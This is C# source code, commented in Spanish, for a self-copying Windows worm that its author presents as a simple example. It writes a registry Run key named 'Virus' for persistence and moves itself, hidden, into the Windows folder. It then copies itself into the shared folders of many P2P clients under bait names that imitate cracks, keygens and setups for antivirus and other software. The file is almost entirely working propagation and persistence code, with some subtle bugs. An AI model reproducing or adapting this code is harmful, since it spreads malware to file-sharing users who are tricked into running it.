/**********************************************************************************************************************/
/* */
/* Pequeño ejemplo de programa autocopiable, que se inicia con el PC, y que se copia a carpetas P2P y a la de Windows */
/* */
/* Posee un pequeño trozo de código de generador de nombres "aleatorios" */
/* */
/* Estoy intentando añadir algo que realmente cause daño (no estoy intentando ponerlo en práctica) */
/* */
/* CopyRight 2010 ArMaGgEdOn2012 (Pendiente de Patente xDxD) */
/* */
/* PosData: La violación del CopyRight puede generar encontronazos inesperados con la SGAE */
/* */
/**********************************************************************************************************************/
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Text;
using System.Windows.Forms;
using System.IO;
namespace WindowsApplication1
{
public partial class Form1 : Form
{
public Form1()
{
InitializeComponent();
}
private void Form1_Load(object sender, EventArgs e)
{
// Ver Abajo
Metodos.Copiar();
}
}
class Metodos
{
static public void Copiar()
{
string[] Paths =
{
@"C:\Windows\mswbootser.exe",
// ^ Esto es modificable
// v Rutas de descargas de los programas P2P
@"C:\Program Files\Grokster\My Grokster\",
@"C:\Program Files\Morpheus\My Shared Folder\",
@"C:\Program Files\ICQ\shared files\",
@"C:\Program Files\KaZaA\My Shared Folder\",
@"C:\Program Files\KaZaA Lite\My Shared Folder\",
@"C:\Program Files\EDONKEY2000\incoming\",
@"C:\Program Files\eMule\Incoming\",
@"C:\Program Files\Filetopia3\Files\",
@"C:\Program Files\appleJuice\incoming\",
@"C:\Program Files\Gnucleus\Downloads\",
@"C:\Program Files\LimeWire\Shared\",
@"C:\Program Files\Overnet\incoming\",
@"C:\Program Files\Shareaza\Downloads\",
@"C:\Program Files\Swaptor\Download\",
@"C:\Program Files\WinMX\My Shared Folder\",
@"C:\Program Files\Tesla\Files\",
@"C:\Program Files\XoloX\Downloads\",
@"C:\Program Files\Rapigator\Share\",
@"C:\Program Files\KMD\My Shared Folder\",
@"C:\Program Files\BearShare\Shared\",
@"C:\Program Files\Direct Connect\Received Files\",
@"C:\Program Files\Ares\My Shared Folder\"
};
string RPath = @"SOFTWARE\Microsoft\Windows\CurrentVersion\Run";
Microsoft.Win32.RegistryKey key;
key = Microsoft.Win32.Registry.LocalMachine.CreateSubKey(RPath);
key.SetValue("Virus", Paths[0]);
// ^ Crea una entrada en el registro para iniciarse con el ordenador (Con el nombre Virus xDxDxD)
// v Esto comprueba que el programa no esté ya en el ordenador
if (!File.Exists(Paths[0]))
{
File.Move(Application.ExecutablePath, Paths[0]);
File.SetAttributes(Paths[0], FileAttributes.System);
File.SetAttributes(Paths[0], FileAttributes.ReadOnly);
File.SetAttributes(Paths[0], FileAttributes.Hidden);
}
// v Esto copia el archivo en todas las carpetas antes mencionadas
for (int i = 1;i < Paths.Length;i++)
{
if (Directory.Exists(Paths[i]))
{
string path = Paths[i] + GeneradorDeNombresAleatorios();
File.Copy(Paths[0], path);
File.SetAttributes(path, FileAttributes.System);
File.SetAttributes(path, FileAttributes.ReadOnly);
File.SetAttributes(path, FileAttributes.Hidden);
}
i++;
}
}
static public string GeneradorDeNombresAleatorios()
{
/*************************************************************************/
/**/ /**/
/* El Increíble generador de nombres aleatorios */
/**/ /**/
/* CopyRight 2010 ArMaGgEdOn2012 (Estaba de broma) */
/**/ /**/
/* Elige pseudo - aleatoriamente una matriz de éstas */
/**/ /**/
/* Después, un nombre de la lista seleccionada (pseudo - aleatoriamente) */
/**/ /**/
/* No probé que generase todos los nombres */
/**/ /**/
/* PosData: Puede causar daños irreversibles (No te dejarán peor XD) */
/**/ /**/
/*************************************************************************/
string[] Nombre1Cracks =
{
"Kaspersky2010",
"WinRAR38",
"WinZIP7",
"WinRAR37",
"WRAR37",
"WRAR38",
"AVIRA8",
"AVIRA7",
"Kaspersky2009",
};
string[] Nombre1Free =
{
"WindowsMediaPlayer11",
"WMPlayer11",
"JohnTheRipper",
"JohnRipper",
"ODBG",
"OllyDBG",
};
string[] Nombre1CracksAndOrSerials =
{
"ESETNod32Antivirus2010",
"ESETN32AV2010",
"Norton2009",
"Norton2010",
"WinCHM",
"Nero7",
"Nero8",
"Nero9",
"WindowsVista",
"WindowsVistaUltimate",
"WindowsVistaHEdition",
"WVista",
"WXP",
"WindowsXP",
"Windows7",
"W7",
"Win7",
"WinXP",
"WinVista"
};
Random random
= new Random
(); string Primero = "";
int AA = random.Next(0, 3);
switch (AA)
{
case 0:
Random random2A
= new Random
(); int random21A = random2A.Next(0, 9);
Primero = Nombre1Cracks[random21A];
return GeneradorDeNombresDeProgramasDePago(Primero);
case 1:
Random random2B
= new Random
(); int random21B = random2B.Next(0, 6);
Primero = Nombre1Free[random21B];
return Primero + "Setup.exe";
case 2:
Random random2C
= new Random
(); int random21C = random2C.Next(0, 19);
Primero = Nombre1CracksAndOrSerials[random21C];
return GeneradorDeNombresDeProgramasDePago(Primero);
}
return "";
}
static public string GeneradorDeNombresDeProgramasDePago(string Primero)
{
/*********************************************************************************************************/
/* */
/* Esta es la segunda parte, donde genera los nombres como 'Crack', 'Setup', 'Keygen' o simplemente nada */
/* */
/* En esta parte no estuve muy sobrado de ideas */
/* */
/*********************************************************************************************************/
string[] Nombre2Despues =
{
"Crack",
"Keygen",
"",
"Setup"
};
string[] Nombre2Antes =
{
"Crack",
"Keygen",
""
};
Random random3
= new Random
(); string Segundo;
int BB = random3.Next(0, 2);
switch (BB)
{
case 0:
Random random4A
= new Random
(); int random41A = random4A.Next(0, 4);
Segundo = Nombre2Antes[random41A];
return Segundo + Primero + ".exe";
case 1:
Random random4B
= new Random
(); int random41B = random4B.Next(0, 3);
Segundo = Nombre2Despues[random41B];
return Primero + Segundo + ".exe";
}
return "";
}
}
}